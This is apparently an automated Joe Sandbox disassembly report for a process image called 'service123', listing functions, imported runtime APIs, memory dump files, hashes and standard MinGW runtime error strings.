abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort$Sleepstrlen
String ID:
API String ID: 68130653-0
Opcode ID: 2e597df3ada764373c75996a55fd466a4deb28a8f924d864b6dc3d32cb3cb1f2
Instruction ID: 5a6f93a44535e98c2fbb7c3e210b8afaef6f0ad98938e053c387916affeff140
Opcode Fuzzy Hash: 2e597df3ada764373c75996a55fd466a4deb28a8f924d864b6dc3d32cb3cb1f2
Instruction Fuzzy Hash: 3751A5A160C3C4CAFB12CB3AC14A7667FB56753308F28559DC6C84B6C2D3BA9509C77A

Function 6C84D570 Relevance: 28.6, APIs: 19, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 1ff0d592af10f1a36bffcf77fbaef7e59d1cb8a0e2ce78513e551ad434f547fd
Instruction ID: 83b8f8c83bac618e5e9eb8488db965bf25765ab5a884355ec6c8720be45a8b9a
Opcode Fuzzy Hash: 1ff0d592af10f1a36bffcf77fbaef7e59d1cb8a0e2ce78513e551ad434f547fd
Instruction Fuzzy Hash: BA31A17460930A8FE3209F69DA8076AB7E4EB85358F14CD2EE58887B41E734D844CBD1

Function 6C84D67C Relevance: 28.5, APIs: 19, Instructions: 32COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 6a978986521d2faa4f21e49faa05e83597843df431b75155095465bb83b63a9b
Instruction ID: 95c7607f3199f917844fc572574cb64c71d704ad1514bfdd10c2e89131204a99
Opcode Fuzzy Hash: 6a978986521d2faa4f21e49faa05e83597843df431b75155095465bb83b63a9b
Instruction Fuzzy Hash: 49B0127CCDD22CC341B13BBC0A410B5B2349B033C4740BC34410633D019B44F426D064

Function 6C84D6C0 Relevance: 27.1, APIs: 18, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: b7c3be7d998354801cd3bb4df6b706ac6964c6536fabe090ba4f4e304944e2d3
Instruction ID: 2398f36745cdeab640064c5106ca790692dbafe57ce65da5763c12e9bec7614d
Opcode Fuzzy Hash: b7c3be7d998354801cd3bb4df6b706ac6964c6536fabe090ba4f4e304944e2d3
Instruction Fuzzy Hash: 9A412B74A093598FD320DF19C68076ABBE1EF8A708F10CD2EE598C7B52D375D8448B92

Function 6C84D855 Relevance: 25.5, APIs: 17, Instructions: 45COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: d9fe36406889f082a7e82eff30e5c94d874ade77549134979fc57e6f9cbc039a
Instruction ID: f0cb0dd9708ec2aedd4fc310dec45e6f6cef03884ff95efc872ec25c95c3acbd
Opcode Fuzzy Hash: d9fe36406889f082a7e82eff30e5c94d874ade77549134979fc57e6f9cbc039a
Instruction Fuzzy Hash: 52E0657590C25A4BE721EE68D5813257BA1AB4230CF545CACD55527D42C364E45BC741

Function 6C85C330 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 130fileCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C85C3A1
fwrite.MSVCRT ref: 6C85C448
fputs.MSVCRT ref: 6C85C465
fwrite.MSVCRT ref: 6C85C48E
fputs.MSVCRT ref: 6C85C4AD
fwrite.MSVCRT ref: 6C85C4DC
fwrite.MSVCRT ref: 6C85C50E
abort.MSVCRT ref: 6C85C513
abort.MSVCRT ref: 6C916157
free.MSVCRT ref: 6C91615F

Part of subcall function 6C84A340: strlen.MSVCRT ref: 6C84A3C5
Part of subcall function 6C84A340: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,6C85C41C), ref: 6C84A3E0
Part of subcall function 6C84A340: free.MSVCRT ref: 6C84A3EA

Strings

terminate called after throwing an instance of ', xrefs: 6C85C441
-, xrefs: 6C85C4C1
not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): , xrefs: 6C85C349
terminate called without an active exception, xrefs: 6C85C4D5

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: fwrite$abortfputsfreememcpy$strlen
String ID: -$not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): $terminate called after throwing an instance of '$terminate called without an active exception
API String ID: 4144276882-4175505668
Opcode ID: 06c73ca9f7a6ae6466b3b372280966e0457376d1f111696596c96d28ea975d79
Instruction ID: c6c0d4ad1908f90ecc327bf9ecb9b539ace4a2451a6d8f094105a4bd65c840a5
Opcode Fuzzy Hash: 06c73ca9f7a6ae6466b3b372280966e0457376d1f111696596c96d28ea975d79
Instruction Fuzzy Hash: FB5149B48083189FD711AF28C54579ABBF4AF86318F00892DE4D887B41D7B89489CF52

Function 6C84D8A8 Relevance: 24.1, APIs: 16, Instructions: 52COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: bc0c5119c11aeb7a431893f3b7ec916b051c0bc54003942ea371e4bf72fff966
Instruction ID: 05a3a33744a06fe483b3597635d3fb36c96c63f73fbe9caa2bed815fbb6770e6
Opcode Fuzzy Hash: bc0c5119c11aeb7a431893f3b7ec916b051c0bc54003942ea371e4bf72fff966
Instruction Fuzzy Hash: B5F027F0A683494FD321DF28C5823767BA0BB43314F880C98D8841BF82C339D4A9CBA1

Function 6C84DE50 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

@, xrefs: 6C84DEB8

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlen
String ID: @
API String ID: 39653677-2766056989
Opcode ID: 09ae38ac490f76a02cb0cabe9510c53a0110d47a632cda31df8f3ebef4a82213
Instruction ID: ee9ff80038a7662f57c368b4c2dfad3413990c121e12a3a7cdd8618dbac1c140
Opcode Fuzzy Hash: 09ae38ac490f76a02cb0cabe9510c53a0110d47a632cda31df8f3ebef4a82213
Instruction Fuzzy Hash: 7221C671A0525DCADB30DF54CE80BDD77B8AB46308F1089B7C808ABA00E7309E89CF90

Function 6C84DA90 Relevance: 22.6, APIs: 15, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: eb35c0675813ce3ff606ef9c028a0e3a5a9cc4a9f4733905d5ca291b562fcf12
Instruction ID: 866fa2157b40f96daa2a8cd8a0c1245bf6f42d3895d732c1427b127d9912ee78
Opcode Fuzzy Hash: eb35c0675813ce3ff606ef9c028a0e3a5a9cc4a9f4733905d5ca291b562fcf12
Instruction Fuzzy Hash: A1413D75A0421D9BCB20DF68C9807DDB7B1AF89318F14C9AAD849A7701D770AE89CF90

Function 6C84DCE0 Relevance: 21.1, APIs: 14, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 730b82d2da7bc35f9127cbebe574e0472547f7dc119ace965d717b640774afe3
Instruction ID: 933ef3613d13b4a0af06f19b40c47cfcb1f3f05eb624b6adfe0608729141978a
Opcode Fuzzy Hash: 730b82d2da7bc35f9127cbebe574e0472547f7dc119ace965d717b640774afe3
Instruction Fuzzy Hash: E3111F74A0421C9BCB24DF68C9809DEB7B5AF45358F04CD75E80967B01EB30AE49CBE0

Function 6C84DD80 Relevance: 19.6, APIs: 13, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fe2482c830eee9ded9460493a8ea6eab20a7d1ebb5a31b0fcc83bb6770a18bd
Instruction ID: c9df0fd04035518d289c85aeb49d984e78f16c10f82a718319d026158df7355e
Opcode Fuzzy Hash: 5fe2482c830eee9ded9460493a8ea6eab20a7d1ebb5a31b0fcc83bb6770a18bd
Instruction Fuzzy Hash: 97212C74A0421D9BCF60DF64C9809DEB7B5EF89348F10C8A9D80967741E730AE4ACB90

Function 6C850310 Relevance: 18.2, APIs: 12, Instructions: 165COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C91395F), ref: 6C85034B
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C91395F), ref: 6C850352
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C91395F), ref: 6C850360

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: ErrorLast$Value
String ID:
API String ID: 1883355122-0
Opcode ID: 438dd0c588c102f8cc6ba53a4e8a8f775f23eb02c6ffbd3eb0701e6c2e997b0a
Instruction ID: aa666cbda4868659f4afc960e8cbb6644716bcf108cb73f09e7e8f901fb3b99c
Opcode Fuzzy Hash: 438dd0c588c102f8cc6ba53a4e8a8f775f23eb02c6ffbd3eb0701e6c2e997b0a
Instruction Fuzzy Hash: FE51BC75608341CFDB60DF29C6C465A77F1FB86308FA5492CD88887B50E7B0E859CB92

Function 00B31940 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00B3196F
vfprintf.MSVCRT ref: 00B3198F
abort.MSVCRT ref: 00B31994
VirtualQuery.KERNEL32 ref: 00B31A2B

Strings

Address %p has no image-section, xrefs: 00B31AEB
VirtualProtect failed with code 0x%x, xrefs: 00B31AA6
Mingw-w64 runtime failure:, xrefs: 00B31968
VirtualQuery failed for %d bytes at address %p, xrefs: 00B31AD7

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: QueryVirtualabortfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 2513968241-1534286854
Opcode ID: efdede78d44c1ba2185a46300eccf5d19a6d0fb010c623abe73a1997e925036c
Instruction ID: b8460aebdaa16cbc2b9d10defbbbcebc756dd59120dbb9ed11ae82134dba159d
Opcode Fuzzy Hash: efdede78d44c1ba2185a46300eccf5d19a6d0fb010c623abe73a1997e925036c
Instruction Fuzzy Hash: D15179B1508300CFC714EF28E88565EFBE4FF84754F658E9DE8999B211EB34E8458B92

Function 6C84A690 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 6C84A6BF
vfprintf.MSVCRT ref: 6C84A6DF
abort.MSVCRT ref: 6C84A6E4
VirtualQuery.KERNEL32 ref: 6C84A77B

Strings

VirtualProtect failed with code 0x%x, xrefs: 6C84A7F6
Address %p has no image-section, xrefs: 6C84A83B
VirtualQuery failed for %d bytes at address %p, xrefs: 6C84A827
Mingw-w64 runtime failure:, xrefs: 6C84A6B8

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: QueryVirtualabortfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 2513968241-1534286854
Opcode ID: 4e385e9205462c32112d9a4a990a1b13351b1260051bbd9c25915dccd24d7fef
Instruction ID: 9e09dea4716e831b42c042624c8960d19ac26b63aea1afde02331e936cf2067e
Opcode Fuzzy Hash: 4e385e9205462c32112d9a4a990a1b13351b1260051bbd9c25915dccd24d7fef
Instruction Fuzzy Hash: 2F514AB55083049BE720DF29C68469ABBF4FF85318F55CD2CD8988B654D734E849CBA2

Function 6C84E0A0 Relevance: 16.6, APIs: 11, Instructions: 98COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
